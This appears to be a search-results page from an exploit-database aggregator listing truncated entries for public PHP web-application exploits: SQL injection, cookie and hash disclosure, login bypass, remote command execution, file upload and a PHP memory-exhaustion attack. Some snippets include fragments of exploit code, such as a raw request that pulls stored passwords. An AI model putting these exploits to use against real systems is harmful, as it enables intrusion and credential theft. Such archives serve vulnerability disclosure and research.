209 matches found
Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp-vulnerability warning-the black bar safety net
!/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com notes the value of the variable, add your own to modify / $host = 'www.80vul.com'; // Server domain or IP $path = '/discuz/'; // Where the program path $key = 0; // The above variable is edited, make will the value her...
Lito Lite CMS Multiple Cross Site Scripting / Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================================= Lito Lite CMS Multiple Cross Site Scripting / Blind SQL Injection Exploit =========================================================================...
PHPFootball 1.6 - Remote Hash Disclosure
\n"; exit; else $head .= "GET /$path/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n"; $head .= "Host: $host\r\n"; $head .= "Connection: close\r\n\r\n"; $fsock = fsockopen $host,80; fputs $fsock,$head; while !feof$fsock $cont .= fgets$fsock; fclose$fsock; if pregmatchall"/.+?/",$cont,$i...
SolarCMS 0.53.8 Remote Cookie Disclosure Exploit
?php errorreporting0; / --------------------------------------------------------- SolarCMS 0.53.8 Forum Remote Cookies Disclosure Exploit --------------------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org/ works regardless PHP.ini settings...
SolarCMS 0.53.8 - Forum Remote Cookies Disclosure
SolarCMS 0.53.8 - Forum Remote Cookies Disclosure ?php errorreporting0; / --------------------------------------------------------- SolarCMS 0.53.8 Forum Remote Cookies Disclosure Exploit --------------------------------------------------------- by athos - stakerathotmaildotit download on...
2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
No description provided by source. ?php / ---------------------------------------------------------------- 2532|Gigs 1.2.2 Stable Remote Command Execution Exploit ---------------------------------------------------------------- by athos - stakerathotmaildotit works regardless php.ini settings...
TR News <= 2.1 (login.php) Remote Login Bypass Exploit
Exploit for unknown platform in category web applications ====================================================== TR News = 2.1 login.php Remote Login Bypass Exploit ====================================================== ?php errorreporting0; / -----------------------------------------------------...
phpwebgallery-hijackexec.txt
$b'.$sort.';' 64. ; An attacker could be able to inject and execute PHP code through $GET'sort', that is passed to createfunction at line 63 see http://www.securityfocus.com/bid/31398. Only admin can access to the plugins management interface, but the attacker might be able to retrieve a valid...
SlimCMS <= 1.0.0 (redirect.php) Privilege Escalation Exploit
No description provided by source. !/usr/bin/php -q ?php / SlimCMS = 1.0.0 Privilege Escalation Exploit Discovered By StAkeR aka athos - StAkeRathotmaildotit Discovered On 11/10/2008 http://downloads.sourceforge.net/slimcms/SlimCMS-1.0.0.tgz?modtime=1217343227&bigmirror=0 / errorreporting0; $host...
phpScheduleIt 1.2.10 - reserve.php Remote Code Execution
phpScheduleIt 1.2.10 - reserve.php Remote Code Execution settitletranslate"Processing $Class"; 53. $t-printHTMLHeader; 54. $t-startMain; 55. 56. processreservation$POST'fn'; 57. 58. else 59. $resinfo = getResInfo; 60. $t-settitle$resinfo'title'; 61. $t-printHTMLHeader; 62. $t-startMain; 63...
PHPcounter <= 1.3.2 (index.php name) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/php -q ?php // PHPcounter = 1.3.2 Remote SQL Injection Exploit // Discovered By: StAkeR - StAkeRathotmaildotit // Discovered On: 28/09/2008 // Download: http://sourceforge.net/projects/phpcounter/ errorreporting0; $host = $argv1 or banner; $path = $arg...
phpcounter-sql.txt
!/usr/bin/php -q...
PHPcounter <= 1.3.2 (index.php name) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================= PHPcounter 0day.today 2018-03-19...
PHP iCalendar 2.24 - cookie_language Local File Inclusion Arbitrary File Upload
PHP iCalendar 2.24 - cookielanguage Local File Inclusion Arbitrary File Upload '.$lang'lcalfile'.' '.$filenumber.': '.$lang'lactionsuccess'.''; 84. el...
PHPmotion 2.0 - 'update_profile.php' Arbitrary File Upload
= $limitsize 269. // Display file size error 270. // /////////////////////// 271. $show = 1; 272. $messagetype = $config"notificationsuccess";//the messsage displayed at the top coner 273...
yuhhu-sql.txt
."; $bul=pregmatch$ara,$tuttum,$rmx; $huseyin=strreplace"class="linkbeyaz"","",$rmx; echo $site.""; echo $huseyin0; ? author : Dj Remix...
Yuhhu 2008 SuperStar - board SQL Injection
Yuhhu 2008 SuperStar - board SQL Injection ."; $bul=pregmatch$ara,$tuttum,$rmx; $huseyin=strreplace"class="linkbeyaz"","",$rmx; echo $site.""; echo $huseyin0; ? author : Dj Remix milw0rm.com 2008-06-10...
PHP 5.2.6 - 'sleep()' Local Memory Exhaust
There is some kind of issue in PHP we can run out memory even on SAFEMODE script simply allocate maximum of memory and go to sleep for, let's say 9999999 seconds. sleep pass 'maxexecutiontime' setting. Ram eater sploit ? if ! $purl = @parseurl$url die'sorry, parseurl function disabled Oo'; if !...
PHP 5.2.6 - sleep() Local Memory Exhaust
PHP 5.2.6 - sleep Local Memory Exhaust There is some kind of issue in PHP we can run out memory even on SAFEMODE script simply allocate maximum of memory and go to sleep for, let's say 9999999 seconds. sleep pass 'maxexecutiontime' setting. Ram eater sploit ? if ! $purl = @parseurl$url die'sorry,...
PHP 5.2.6 sleep() Local Memory Exhaust Exploit
Exploit for multiple platform in category dos / poc ============================================== PHP 5.2.6 sleep Local Memory Exhaust Exploit ============================================== There is some kind of issue in PHP we can run out memory even on SAFEMODE script simply allocate maximum o...